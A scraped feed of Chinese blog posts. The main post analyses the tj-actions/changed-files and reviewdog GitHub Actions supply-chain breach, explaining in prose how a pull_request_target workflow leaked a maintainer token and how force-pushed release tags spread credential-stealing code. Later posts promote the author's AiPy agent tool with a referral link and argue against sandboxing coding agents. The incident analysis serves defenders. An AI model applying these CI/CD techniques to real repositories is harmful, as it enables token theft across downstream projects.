有过转发，这个事件在国外社区的关注度还是比较大的，在CISA上还有记录：

https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-tj-actionschanged-files-cve-2025-30066-and-reviewdogaction

我只所以关注到这个事件，是因为前面翻今年BlackHat-25-USA的ppt看到这个事件的相关议题：

https://www.blackhat.com/us-25/briefings/schedule/#when-changed-files-changed-everything-uncovering-and-responding-to-the-tj-actions-supply-chain-breach-45907

当然在这里建议看Whitepaper：

http://i.blackhat.com/BH-USA-25/Presentations/US-25-Sharma-When-Changed-Files-Changed-Everything-Uncovering-and-Responding-to-the-tj-actions-Supply-Chain-Breach-wp.pdf

要不然看ppt的话可能看不太明白。

这个能上BlackHat USA应该不是一个相对“普通”的供应链事件，所以我就仔细的看了下，我觉得这次供应链攻击的手法等不亚于了去年差不多同一个时间爆“XZ-Utils供应链后门事件”，只是比较可惜的是国内对本次的事件的关注稍微低了...

对于供应链攻击其实我在很多年前就看到针对开源社区的开发者针对性的定制化攻击，这个在当年很多数据库泄露针对开发者的数据分析挖掘开始，到定向的攻击某些底层通用组建的开发者及项目，而本次事件更加深入到了开发者DevOps CI/CD 生态中，攻击趋势越来越深入“业务”，也越来越复杂，而这些点恰恰是很安全防御上容易忽视的点。

除了上面BlackHat的的Whitepaper，我这里推荐平底锅unit42的报告：

https://unit42.paloaltonetworks.com/github-actions-supply-chain-attack/

非常详细的持续追踪分析而且相对完整的报告。

tj-actions/changed-files 供应链攻击全链路时间线

可以先看下平底锅unit42报告里的攻击流程图

下面这些是我通过大模型整理的一个时间线：

----------------

2024-11-28

事件：SpotBugs 维护者（SPTBGS_MNTNR）在 spotbugs/sonar-findbugs 项目中创建了一个使用 pull_request_target 的工作流，并把自己的高权限 PAT 加入到 secrets。

意义：埋下了后续 PPE（Poisoned Pipeline Execution）漏洞。

2024-12-06

事件：攻击者使用马甲账号提交恶意 PR，触发 pull_request_target 工作流。（PPE攻击）

结果：工作流执行了攻击者修改过的 mvnw 文件，从而泄露了 SpotBugs 维护者的 PAT。

重要性：该 PAT 同时对 spotbugs/spotbugs 和 reviewdog/action-setup 仓库有写权限。

2025-03-11 ~ 03-13

事件：攻击者利用窃取的 reviewdog 维护者 PAT：

在 fork 中由账号 iLrmKCu86tjwp8 创建恶意 commit；

强制覆盖 reviewdog/action-setup 的 v1 标签，使其指向该恶意 commit。

结果：任何调用 reviewdog/action-setup@v1 的 workflow 会运行恶意代码。

2025-03-13 ~ 03-14

事件：tj-actions/changed-files 的 CI workflow 被触发。

该 workflow 使用了 tj-actions/eslint-changed-files，而它依赖于 reviewdog/action-setup@v1；

恶意代码在 tj-actions/changed-files runner 上运行，窃取了具有写权限的 GITHUB_TOKEN。

结果：攻击者获得了直接操作 tj-actions/changed-files 的权限。

2025-03-14

事件：攻击者利用被盗的 tj-actions GITHUB_TOKEN：

推入伪装成 Renovate Bot 的恶意 commit（0e58ed8…）；

使用 git push --force 重写多个版本标签（如 v35、v39、v44），全部指向恶意 commit。

结果：攻击者篡改标签后，约 23,000+ 个引用该 Action 的仓库处于风险之中；其中，只要在攻击期间触发 CI 的项目，就会执行恶意版本。

2025-03-14（同日）

事件：Coinbase 的开源项目 coinbase/agentkit workflow 中依赖 tj-actions/changed-files@v39。

结果：CI 执行了带毒版本，恶意代码运行在 Coinbase runner 上；

Coinbase 响应：当日接到通报，停用受影响 workflow 并旋转 secrets；官方称未发现被盗 secrets 被利用的证据。

2025-03-15 ~ 03-20

事件：GitHub 与安全社区介入，禁用了恶意版本，tj-actions 与 reviewdog 维护者清理仓库；

结果：大规模传播被阻断。

----------------

简单说明下里面一些DevOps CI/CD攻击手法：

手法1、滥用pull_request_target导致PPE攻击

这个大家可以参考下平底锅unit42 推荐的文章：

https://securitylab.github.com/resources/github-actions-preventing-pwn-requests/

https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution

开始阶段是因为SpotBugs 这个项目的开发者，为了发布把他的PAT（Personal Access Token）写到了pull_request_target 工作流中，然后被攻击者fork一个分支修改了mvnw脚本，然后提交一个Pull Request (PR)请求，上游 workflow 用了 pull_request_target，PR 一创建就触发 CI，执行了mvnw里的恶意命令，最终把开发者PAT写到日志里泄露出来。

（说明下这个过程是不需要项目维护者确定的，CI在PR阶段自动执行）这个手法算是针对PR工作流比较经典的手法了

手法2、攻击者通过篡改 Action 的多个版本标签（tags），使得下游项目在 CI 中引用 @vXX 时自动获取恶意版本，从而执行恶意脚本。（这个也是blackhat议题主要要说明的手法）

攻击者获取SpotBugs 维护者的高权限 PAT后，发现该PAT对reviewdog/action-setup 也有写权限。随后，攻击者在 fork 仓库制造恶意 commit，并用被盗 PAT 强制更新 reviewdog/action-setup 的 tag 指向该恶意 commit。当下游项目的工作流调用了 reviewdog/action-setup@v1，并且使用的是 tag 而不是 commit hash，因此 CI Runner 拉取到的就是恶意版本。

而通过攻击者观察及挖掘，发现tj-actions/changed-files的项目多个工作流离调用reviewdog/action-setup@v1 而恶意脚本的目的同样是窃取 CI/CD 运行环境中的敏感信息，如 GitHub Token、部署凭证和其他 API 密钥。最终结果恶意代码在 tj-actions/changed-files runner 上执行，窃取了对该仓库有写权限的 GITHUB_TOKEN

在攻击者想继续循环使用上面的套路玩无限套娃下去时，并把目标重点放在Coinbase/agentkit 果然还是Web3吸引人人，而在这个时候被stepsecurity发现而曝光。

无限套娃

哎呀，又到了“想当年”的时候了，"每次看到经典的手法都能看到黑哥的想当年 ..."

这个无限套娃让我想起了当年《WEB2.0下的渗透测试》

https://web.archive.org/web/20120528161001if_/http://www.80vul.com/paper/WEBsec2-public.ppt

里的“黑遍全世界“，如下图：

只是那个时候的重点还是在“第三方内容劫持”上，那个时候可能还没有github这种东西，大家用的也是“站长站”这种安装程序下载平台，而不是基于开源项目的托管平台，随着互联网的发展攻击形式也发生了变化，现在这种形态在于各种项目的工作流相互调用，这个实际上也是一直“第三方内容”的新的形式，而导致的连锁反应，当年我在思考这个“黑遍全世界“想到的是“地球上任意两个陌生人之间，最多通过 6个人的社交关系就能建立联系的‘六度分隔理论’”

当然我这个“第三方内容劫持”在后面其实还有进一步：

而最终落地到“资源”上，实际上在上面的供应链攻击实践里就看到攻击者在这个方向上的影子～～，这个思考其实分两个方向：

❖ 假如我控制了这些资源，我能⼲什么？
❖ 如果我要搞定它，我需要什么样的资源？

当然在上面的案例里大家的想到的方式，可能都趋向于攻击者是有意识的去通过PPE这种经典的漏洞模型去找可能存在风险的项目，而找到的“SpotBugs”这个攻击目标的，攻击成功后通过观察挖掘下一步的攻击目标，我其实也觉得这个是攻击者的事实套路，只是我想提醒下大家，如果攻击者的一开始的目标就是 “Coinbase/agentkit”呢？然后逆向探索找到了“SpotBugs”这个突破口...

有时候“主动”与“被动”思维模式有着天壤之别的差别！

实际上攻击者把目标放在开发者及生态里也是一种对“资源”的思维模式，而目前很多开始通过针对开发者的攻击去收集获取更多的平台Token，比如近几天曝光的

https://blog.gitguardian.com/ghostaction-campaign-3-325-secrets-stolen/

攻击者就是通过控制项目开发者的账号权限然后进一步向获取PYPI_API_TOKEN积累“资源”，包括其他的仓库如NPM等。

发现

针对供应链的防御核心还是在于“监控”，比如最早我们做的WAM

https://github.com/knownsec/wam

而这次stepsecurity能发现这次攻击也得益于他们的开源监控CI/CD 环境的项目：

https://github.com/step-security/harden-runner

从他们的案例里还发现不少针对PR工作流的攻击事件。

当然有了“监控”还是不够的，还得有人盯着，才能发现！

另外一个点我想提醒大家的是，估计很多人都容易忽视的一个点就是PAT这种Token管理的问题，尤其是在私有的企业级的应用平台上（如gitlab等），很多的token滥用就连很多开发者都不知道，更不好排查，token一旦泄露就是一个天然的后门，实际上这个案例里可以看出DevOps的很多在安全角度不可思议的设计，比如这个PR工作流、Tags的指向等问题都会带来意想不到的风险！

阅读原文

跳转微信打开

从 Vibe Coding 到 Vibe Working

Sat, 28 Jun 2025 16:33:09 +0800

原创 heige 2025-06-28 16:33 湖南

开篇提醒：如果您不知道AiPy，不知道Python-Use请先点击阅读下面两篇文章：【Agents/MCP可能

开篇提醒：

如果您不知道AiPy，不知道Python-Use请先点击阅读下面两篇文章：

【Agents/MCP可能不存在了】No Agents, Just Python-use！

AI Agent真正落地的关键：大模型与环境数据的无限扩展能力

Vibe Coding 的缘起

Vibe Coding起源于Andrej Karpathy的2月3号推文：

https://x.com/karpathy/status/1886192184808149383

到目前为止光推文的阅读量就达到504.5万，可能是源于Andrej Karpathy的影响力，推文发布后，迅速引起广泛讨论及关注，甚至维基百科也收录了该词条：

https://en.wikipedia.org/wiki/Vibe_coding

在这里推荐一个3月份YC组织一个博客讨论记录：

https://mp.weixin.qq.com/s/_5pQM7Nhavbl9zFopxwxNA

可能是热度和关注度的持续，在6月17日，Andrej Karpathy在 YC AI Startup School 活动中发表了约 40 分钟的演讲，主题为《Software in the era of AI》再次引发大家对Vibe Coding的关注，还没有看过的可以看看：

https://mp.weixin.qq.com/s/q6IF0l5-sFklZiJ1FqBPMg

当然英语好的可以看原视频：

https://www.youtube.com/watch?v=LCEmiRjPEtQ

在看Andrej Karpathy这个演讲记录之前，虽然多次看到"Vibe Coding"这个词，但是一直忙着AiPy就没有特别去留意，直到我看到了他原始的推文(见上面)，突然想起之前为了鼓吹“大模型时代已来”，而做的一次“行为艺术”：《0基础到纯血鸿蒙APP开发实践》

也就是我大概从2024年底12月开始，纯通过Cursor来完成一个真正的相对“正式”项目开发，通过10几天（每天几个小时吧）最终实现了对纯血鸿蒙系统开发方舟语言0基础的情况下，完成了一个app的开发，全程我都没写过一行的代码，而是复制粘贴错误给curosr，全程完全就是是点击“Accept”和“Run“。

而这次的“行为艺术”就是"Vibe Coding"，如果非得较真，可能当时我还缺一个“语音”输入，当然这个在当时已经完全没有什么门槛～

Vibe Coding 对AI IDE的影响

Vibe Coding虽然看起来是一个俚语化“概念”，但是它深深影响了IDE的进化过程 ...

从上面可以看出，其实Vibe Coding的主体主角当时是Cursor，在Andrej Karpathy的推文里提到的是Cursor Composer，而我用到的也是Cursor Composer，实际上这个时候推Agentic Coding的是 Windsurf，WindSurf通过grep等当时进行代码索引（@codebase）效果非常好，并且开始自动化命令处理的模式，这个也让WindSurf锋芒差点超过Cursor，可惜Cursor通过白嫖积累了不少先发优势，然后通过迅速“学习”兼容，也推出了Agent模式替代了之前的Composer，当然这里不得不提一下Cline等插件的，他们也是比较早的，都开始自动化的去执行命令等处理，而这些来自同行的优势都快速被Cursor吸收，这就是Cursor的 YOLO Mode（You Only Look Once Mode）

Cursor无疑是成功的，我觉得Cursor能“成功”的核心：1、可白嫖 2、快速学习迭代。Cursor的成功也引起了大家对AI IDE的关注，我觉得这个是必然的，也必然被模型厂商盯上 ...

在AI IDE这个角度是一样的，如果你曾经追OpenAI、Claude的一些发布会及采访，都会发现其实在他们内部早就开始了对应方向的布局，其中就包括OpenAI Codex，Claude Code，AI Coding我觉得一直是Claude的立身之本，从它跟Cursor一直保持不清不楚的暧昧关系就可以看出，这个方向不管是模型到应用还是商业布局，Claude都是非常态度明确鲜明的，比如在OpenAI勾搭WindSurf的时候，直接就切断了WindSurf的模型供应。

实际上不管是OpenAI Codex还是Claude Code在他们内部已经开始很久，我估计当时他们内部也没太明确，比较已经有了Cursor和WindSurf，从商业角度上讲大不了，一人收购一个：Cursor给Claude 、Windsurf给OpenAI，看起来相对nice～

直到大家看到了Vibe Coding的趋势 ... 当然这正是我的臆断（看官不用较真）。于是大家想到了还有另外一种可能，我们完全可以聚焦在“Vibe Coding”这个概念上，而不去纠结VScode（注：Cursor和WindSurf都是基于VScode开发的，都是差不多的GUI），让用户不再关注代码本身甚至忘记代码的存在，完全依赖大模型的能力去完成编码，这才是AI时代要追求的，而不是一个单纯帮助程序员自动补全代码的提效工具！

于是他们都选择在5月正式对外发布，OpenAI发布了codex 而claude发布了Claude Code ，当然从反响来看Claude Code完胜OpenAI Codex，事先我要声明的是我没有体验过OpenAI Codex，只是后面看到了宝玉写的测评：

https://mp.weixin.qq.com/s/RZo9fu20m4OYwT9MN7f0MA

我瞬间就知道了为什么OpenAI Codex 反响不如Claude Code了，下面这张图说明了一切！！

虽然他们都是在努力契合“Vibe Coding”，但是OpenAI Code还是应用的本地虚拟环境隔离，这种隔离还不能联网：

需要强调的是，这个虚拟机环境一开始是可以联网的，但在自动下载项目代码和安装完所需的第三方库之后，就会彻底断开网络连接，后续再也不能访问互联网。

这就是云端部署简单粗暴的做了个Docker搬到的本地？这种带来的体验感可想而知，OpenAI Code最大的失败点在于他们对“大模型与环境关系的”理解上，我们应该解放AI而不是束缚，让模型能力融合到现实环境才能真正解放AI！

当然不管是OpenAI还是Claude怎么PK，对于我们来说两家都有一个共同点：就是出了名的贵！（当然Claude不光贵，还挺恶心，动不动就封你），就蹭这点Google就不惯着，这一波必须蹭，没有条件创造条件也必须上，于是就有了免费开源的Gemini CLI，从代码架构及功能包括提示词，我完全相信Gemini CLI就是对Claude Code逆向后复刻的产品！嗯，这个跟Manus 与OpenManus的关系差不多。但这不影响Gemini CLI大火，至于效果体验上来讲吧，黑哥尔的感受是这样的：“那些吹Gemini CLI的应该都没体验过AiPy！”

从“Vibe Coding”到“Vibe Working”

如果说“Vibe Coding”是一种新范式，根本上改变大家的编码习惯，是一种革命，但我觉得它只是一个开始...

用户的“觉醒”：

“Cursor可以不只是IDE” 这个是我之前很多地方都强调过，因为我用Cursor的大部分需求不是写代码，而是做其他相关的，其中“替代终端”是我用得最多的，也就是说Cursor可以不只是IDE，而是Agent，可以完成很多任务工作，但是根据我的观察，这种“觉醒”的还是不太多，虽然我到处不遗余力的忽悠 :) 这个我觉得是他的产品形态太深刻：“成也VScode，败也VScode”（当然这个败不是真正意义上的败，因为Cusor的官方定义还是IDE），所以大家的共识还是在于IDE的认定，像我这种只能算是“异类”～

Gemini CLI大火后，又开始了一波“觉醒”

https://x.com/Yonah_x/status/1938131558163939754

到目前为止这个推的阅读量有10.6万，第一次看到这个图还是AiPy Vip群里的大佬发的：

上面提到的推文，在我看来这是自有一次用户的“觉醒”，大家从“Vibe Coding”觉醒到了“Vibe Working”，这个是最大的认知变化。

人制造工具的目的是使用工具完成工作，而“Vibe Coding”改变的还只是编程的习惯，对象还是编码！所以只能只是一个开始，人类要追求的还是要Working，真正改变大家的工作习惯及流程，这个我觉得才是AGI的追求！

而我们设计的Python-Use范式下的AiPy，设计出来就是为了Working，在“Vibe Coding”概念大火之后，知道我们AiPy的很多朋友反馈说：AiPy就是“Vibe Coding”，其实当时我还是比较纠结的，因为我觉得Vibe Coding这个概念不是很适合AiPy，毕竟AiPy的定位不是IDE，虽然Python-Use范式是用代码实现一切，在效果上看可能最接近Andrej Karpathy原始对“Vibe Coding”描述，但是最终不是为了交付代码，而是完成的工作结果，也就是说Coding只是过程而不是目的。直到在跟我公司老板IC沟通时，我第一次从他那里看到了“Vibe Work”这个词，一下就有“豁然开朗”的感觉，这个“Vibe Working”简直完美契合我们的AiPy的概念，强调的是任务，交付的是结果。

“Vibe Working”的觉醒

上面提到的推文

“Gemini Cli 的意义在于它从此拥有了访问用户电脑所有数据的能力。大家都拿它对标 Claude Code 的写代码能力，但我不是，我的第一个想法是用它来帮我整理文件夹。”

其实就是强调的一个问题：大模型与环境的关系问题，这个问题在上面在提到的OpenAI Code的失败核心关键。

而这个正好是我们提到的Python-Use范式的优势：《AI Agent真正落地的关键：大模型与环境数据的无限扩展能力》

从这个角度上看从

Cursor --> OpenAI Codex --> Claude Code --> Gemini Cli

CLi成为一种热潮，而CLi背后的觉醒是：大模型与环境数据的无限扩展能力，本地化应用模式已经成为趋势～～

而事实上在这个数据扩展能力的角度上看，我们的Python-Use从设计开始就先天具备这些无限扩展的能力，当然也包括在产品架构设计上，天然就是为了“Vibe Working”而做的！

1、API Calling 实现“万物互联”

ChatMode --生成代码--> API市场 --调用API--> 完成任务

当然各种API直接还可以实现编排，形成工作流！而目前所有的客户端（包括上面那些IDE）都强依赖MCP，这种扩展能力是严重受到限制的，最大的问题是MCP依赖开发者开发，尤其是很多的内部私有化应用的接口没办法随心所欲的调用，而AiPy通过API Calling配置个API就能搞定。而且各种MCP可能不方便编排！

2、Python Packages Calling 实现“万物编程”

LLM时代，Python是当之无愧的王者，有大量的模型应用本身都提供对应的Packages，拥有强大的生态。

当然你可以通过“Vibe Coding”去定义开发一个Packages也不啥难事

3、Python解释器实现“万境直通”

这个核心还是在于与环境的沟通反馈上，包括代码能力的自动Debug、Fixed都依赖这个解释器

Python作为一个编程语言本身就能拥有文件管理、命令执行、代码执行的能力，当然你需要做一定固化的funcion/tools也是完全可行的。

从Python-Use 到 Code-Use

其实本质上Python-Use范式本事就是Code-Use范式，当然我们在实践的过程中其实也看到了一些其他语言的优势，另外如果我们的任务项目了需要用到其他语言，我还需要通过Python代码去重新出生成或者运行一次显得效率很慢，有时候可能也出现不稳定的情况，这个时候其实是我们可以直接让模型生成对应的语言代码就行，不用再切套一个python，这样我们就从Python-Use真正回归到了本来的Code-Use，比如我们现在AiPy对于html报告生成的处理，之前是需要用生成一端Python代码，然后把对应的html作为一种数据让Python代码去处理，而现在不用了，直接让大模型输出HTML，并标记就是能保存到本地并使用，再比如Bash等其实也是一种Code，现在的方式我们需要Python调用命令执行的函数如os.system去执行，在后续我们将直接让模型生从bash命令直接执行等等，从Code-Use的范式角度上看后面回考虑集成其他的JS-Use 、PowerShell-Use等等。

所以AiPy就是天然为“Vibe Working”而生的，在成本上看AiPy本身免费开源，本身提供一键安装即使是CLi也只要运行一个:

 pip install aipyapp

而唯一可能需要付费的是大模型token，这个其实已经很便宜了，本身有很多免费的模型可以用比如Gemini你一样可以用，Grok也有免费额度可以用，DeepSeek其实也很便宜（我10块钱满负荷使用AiPy可以用7天），最重要的是 AiPy支持 Trustoken是爱派（AiPy）官方合作伙伴，为用户提供高度稳定、可信、可靠的Token分发与管理服务，注册可以免费Token 而且你还可以拉人头注册获得Token奖励，基本不要钱，而且官方提供的模型回做对AiPy的任务做各种优化处理，效果比其他家的模型更好。

有兴趣可以用我的邀请码：

https://www.trustoken.cn/register?aff=sE5B

在我看来AiPy是第一个真正实现了“Vibe Coding”，是真正能做到“人人可以使用真正能自动干活的AI牛马”的大模型应用。所以在AiPy平权的角度来看，完全可以与DeepSeeK带来的大模型Chat平权相提并论的，AiPy平权实现的大模型Agent落地平权！

Agent的未来

大模型从ChatGPT火出圈以来，这个行业本身发展就非常快，所有的东西变化太快了，也非常的卷，尤其是大模型相关的创业项目，在这个本身都在变化的行业里，Agent方向是从开始到现在都一直在卷的方向，OpenAI的奥特曼多次给大家传递着一个信息：“我全都要～～” ，像前面创业火爆的模型搜索领域，现在大模型人手一个Deep Research，而这个大模型厂商只要开放API，所有的客户端调用大模型厂商的API就能应用Deep Research，Gemini现在就是这么干的～，而这些能在云端实现的Agent，没有与环境私有数据沟通能力的Agent，甚至包括很多的大模型周边的生态位衍生的能力或者产物，最终都得被大模型“内化”！

而Agent与环境的沟通是一个非常重要的点，而这也是一个执行能力的入口，或者说抓手，对于这个能力控制，蚕食掉生态周边后要面临的是来自操作系统的挑战，所以这个为什么很多人分析OpenAI泄露文件中提到的竞争对手的马斯克是Apple

黑哥尔常说：“AI一天，人间一年”，很多东西真“稍瞬即逝”，时间窗口太短了，太难把控了，所以才有了AI时代的护城河就是“快”，当然这个“快”也不是一个单一的元素，而是一个综合体！也就是啥、啥、啥都要快，也就是天时、地利、人和都要快！

-------

黑哥尔叹气的说到：“哪些吹Gemini CLI的应该都没体验过AiPy！” 深深感受到了黑哥尔的无奈～～

如果你也想感受下这种感觉，访问 www.aipyaipy.com 安装即可体验～

阅读原文

跳转微信打开

提示词推荐：“告诉一些只有你知道的秘密”

Wed, 18 Jun 2025 17:08:00 +0800

原创 heige 2025-06-18 17:08 湖南

来源于：https://weibo.com/2169039837/Px4sHlVhg?

来源于：

https://weibo.com/2169039837/Px4sHlVhg?pagetype=detail

当然你可以约束下你关注的方向领域，下面是我简单测试了ChatGPT的一些结果，还是非常有意思所以推荐给大家

阅读原文

跳转微信打开

黑哥虾撩

EasyDsh紧急发布：让DeepSeek Harness 开箱即用

【转】Mythos向左，AiPy往右｜继Mythos之后，他们又发现100多个漏洞

Mythos成名：271个漏洞背后的"神话"

地球另一端：AiPy团队的"伟大"计划

"MB计划"：不服就干

成果：从1到100+的突破

揭秘：为什么是AiPy？

模型之选：中美差距与希望

结语：眼中依然有光

AI Harness：新生产力需要新生产关系

阿黑正传

Mythos/GPT5.5 网络安全模型分水岭

在上一篇文章 《罗福莉访谈之后：Vibe Coding → Vibe Working → Vibe Forking》https://mp.weixin.qq.com/s/D4bAcI3TN4b_cEhk-aftNQ 提

罗福莉访谈之后：Vibe Coding → Vibe Working → Vibe Forking

我的父亲是黑客

CVE-2026-34621 Root Cause Analysis

Apifox 供应链攻击事件（AiPy自查）

解密后发现的域名

关键发现

Apifox App Event Tracking 逆向分析报告

概述

文件基本信息

代码结构分析

1. 混淆机制

2. 核心功能模块

2.1 网络通信模块

2.2 加密模块

2.3 系统信息采集

2.4 持久化存储

3. 主要执行流程

3.1 初始化阶段

3.2 数据采集阶段

3.3 远程通信阶段

3.4 定时任务

4. 安全分析

4.1 潜在风险点

4.2 反调试措施

5. 关键发现

5.1 远程服务器

5.2 跟踪功能

5.3 用户识别

技术细节

6.1 字符串解密算法

6.2 设备指纹生成

6.3 定时调度算法

结论

建议

litellm 供应链攻击事件分析（使用AiPy自查）

litellm 供应链攻击事件时间线分析

事件概览

完整时间线

攻击准备阶段

发现与报告阶段

应急响应阶段

深度清理阶段

关键操作记录

1. 攻击入口修复

2. 发布工作流清理

3. 安全公告发布

GitHub Actions 工作流状态

当前活跃的工作流 (2026-03-25)

已移除的工作流

安全事件关键发现

攻击手法

🔐 Trivy → PyPI Token 窃取攻击链详解

1️⃣ 攻击背景：Trivy 本身被入侵

🔥 关键发现：标签强制推送攻击

2️⃣ 关键攻击手法：标签强制推送（Force Push）

2️⃣ 攻击路径：从 Trivy 到 PyPI Token

3️⃣ 技术细节

4️⃣ 攻击时间窗口

5️⃣ 为什么 Trivy 会成为攻击入口？

6️⃣ 标签强制推送攻击详解

什么是标签强制推送？

攻击者如何操作？

具体影响范围：

标签强制推送与 LiteLLM token 泄露的关系

关键结论：

修复过程：

在上一篇文章《罗福莉访谈之后：Vibe Coding → Vibe Working → Vibe Forking》https://mp.weixin.qq.com/s/D4bAcI3TN4b_cEhk-aftNQ 提